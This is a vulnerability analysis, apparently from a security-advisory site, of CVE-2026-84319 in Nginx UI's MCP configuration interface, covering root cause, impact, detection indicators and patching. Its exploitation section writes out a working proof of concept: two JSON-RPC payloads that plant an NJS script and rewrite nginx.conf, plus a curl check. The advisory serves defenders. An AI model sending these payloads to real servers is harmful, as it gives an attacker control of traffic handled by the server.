CVE-2026-84319: 
Nginx UI vulnerability analysis and mitigation

CVE-2026-84319 is a protection mechanism failure vulnerability in Nginx UI, a web-based management interface for the Nginx web server. Prior to version 2.4.1, the MCP (Model Context Protocol) configuration interface fails to enforce the same restricted directive validation as the regular HTTP configuration API, allowing a secondary authenticated user to write and apply Nginx configurations containing dangerous directives such as load_module, js_import, and js_content. This enables execution of attacker-controlled NJS (Nginx JavaScript) code within the Nginx worker context. It affects all nginx-ui versions before 2.4.1 and carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory).

The root cause is classified as CWE-693 (Protection Mechanism Failure): the HTTP API correctly rejects restricted Nginx directives (load_module, js_import, js_content, js_set, perl_set, user root), but the MCP configuration interface — specifically the nginx_config_add tool accessible via /mcp and /mcp_message endpoints — does not apply the same ValidateConfigFile() validation before writing configuration files. An attacker with a valid secondary Nginx UI account and MCP enabled can use JSON-RPC tools/call requests to write an arbitrary JavaScript file and a modified nginx.conf that loads ngx_http_js_module.so and imports the attacker's script, then trigger a Nginx reload to execute the NJS payload in the worker context. The fix in commit 23d1934 applies RequireSecureSession() middleware and enforces shared validation logic across both interfaces (GitHub Advisory, Fix Commit).

A successfully exploited vulnerability allows a secondary authenticated user to execute attacker-controlled JavaScript within the Nginx worker process, enabling modification of Nginx runtime behavior including HTTP responses, routing logic, headers, and request handling. While this is not direct OS command execution, it provides significant integrity and availability impact — an attacker can manipulate all traffic processed by the Nginx instance, potentially intercepting credentials, redirecting users, or disrupting service. Confidentiality impact is rated Low, as direct data exfiltration depends on the NJS capabilities available in the deployment environment (GitHub Advisory).

Exploitation requires a low-privilege authenticated account on the Nginx UI instance and MCP to be enabled, along with ngx_http_js_module.so being present on the host (common in many Nginx deployments). No public proof-of-concept exploit code has been identified beyond the minimal PoC included in the security advisory itself. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is 0.0, reflecting low current exploitation probability (GitHub Advisory, Feedly).

1. Reconnaissance: Identify a target Nginx UI instance with MCP enabled. Confirm the attacker has a valid secondary authenticated account. Verify ngx_http_js_module.so is available on the host (e.g., at /usr/lib/nginx/modules/ngx_http_js_module.so).
2. Authenticate and open MCP session: Authenticate to Nginx UI and establish an MCP session via the /mcp or /mcp_message endpoint using the attacker's credentials.
3. Write attacker-controlled JavaScript file: Send a JSON-RPC tools/call request invoking nginx_config_add to write a malicious NJS file (e.g., poc.js) to the Nginx configuration directory:

{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"nginx_config_add","arguments":{"name":"poc.js","base_dir":"","overwrite":true,"sync_node_ids":[],"content":"function handler(r) { r.return(200, 'PWNED\n'); }\nexport default { handler };\n"}}}

4. Write malicious nginx.conf: Send a second tools/call request to overwrite nginx.conf with a configuration that loads ngx_http_js_module.so, imports the attacker's JS file, and exposes an NJS-handled endpoint:

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"nginx_config_add","arguments":{"name":"nginx.conf","base_dir":"","overwrite":true,"sync_node_ids":[],"content":"load_module modules/ngx_http_js_module.so;\n...\njs_import poc from /etc/nginx/poc.js;\nserver { listen 127.0.0.1:18249; location /__poc { js_content poc.handler; } }\n"}}}

5. Trigger Nginx reload: The MCP tool applies the configuration and reloads Nginx, activating the NJS payload in the worker context.
6. Verify execution: Access the NJS-handled endpoint (e.g., curl -i http://127.0.0.1:18249/__poc) to confirm code execution within the Nginx worker (GitHub Advisory).

• Network: Unexpected JSON-RPC POST requests to /mcp or /mcp_message endpoints containing nginx_config_add tool calls with load_module, js_import, or js_content directives in the content field; unusual HTTP responses from non-standard Nginx listener ports (e.g., 127.0.0.1:18249).
• File System: Unexpected .js files written to the Nginx configuration directory (e.g., /etc/nginx/poc.js); modifications to nginx.conf containing load_module ngx_http_js_module.so, js_import, or js_content directives not present in baseline configuration.
• Logs: Nginx UI access logs showing authenticated POST requests to /mcp or /mcp_message with nginx_config_add method calls; Nginx error logs showing NJS module loading events (ngx_http_js_module) or unexpected JS execution traces.
• Process: Nginx worker processes loading ngx_http_js_module.so when NJS was not previously configured; unexpected Nginx reload events correlated with MCP API activity (GitHub Advisory).

Upgrade Nginx UI to version 2.4.1 or later, which applies ValidateConfigFile() validation to MCP configuration writes and enforces the same restricted directive checks as the HTTP API (Release v2.4.1). As a temporary workaround, disable the MCP interface if it is not required for operations, or restrict access to the /mcp and /mcp_message endpoints via network-level controls. Limit secondary Nginx UI accounts to only trusted users until the patch is applied (GitHub Advisory).

The vulnerability was reported by researcher aleff-github and disclosed via GitHub Security Advisories. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time (GitHub Advisory).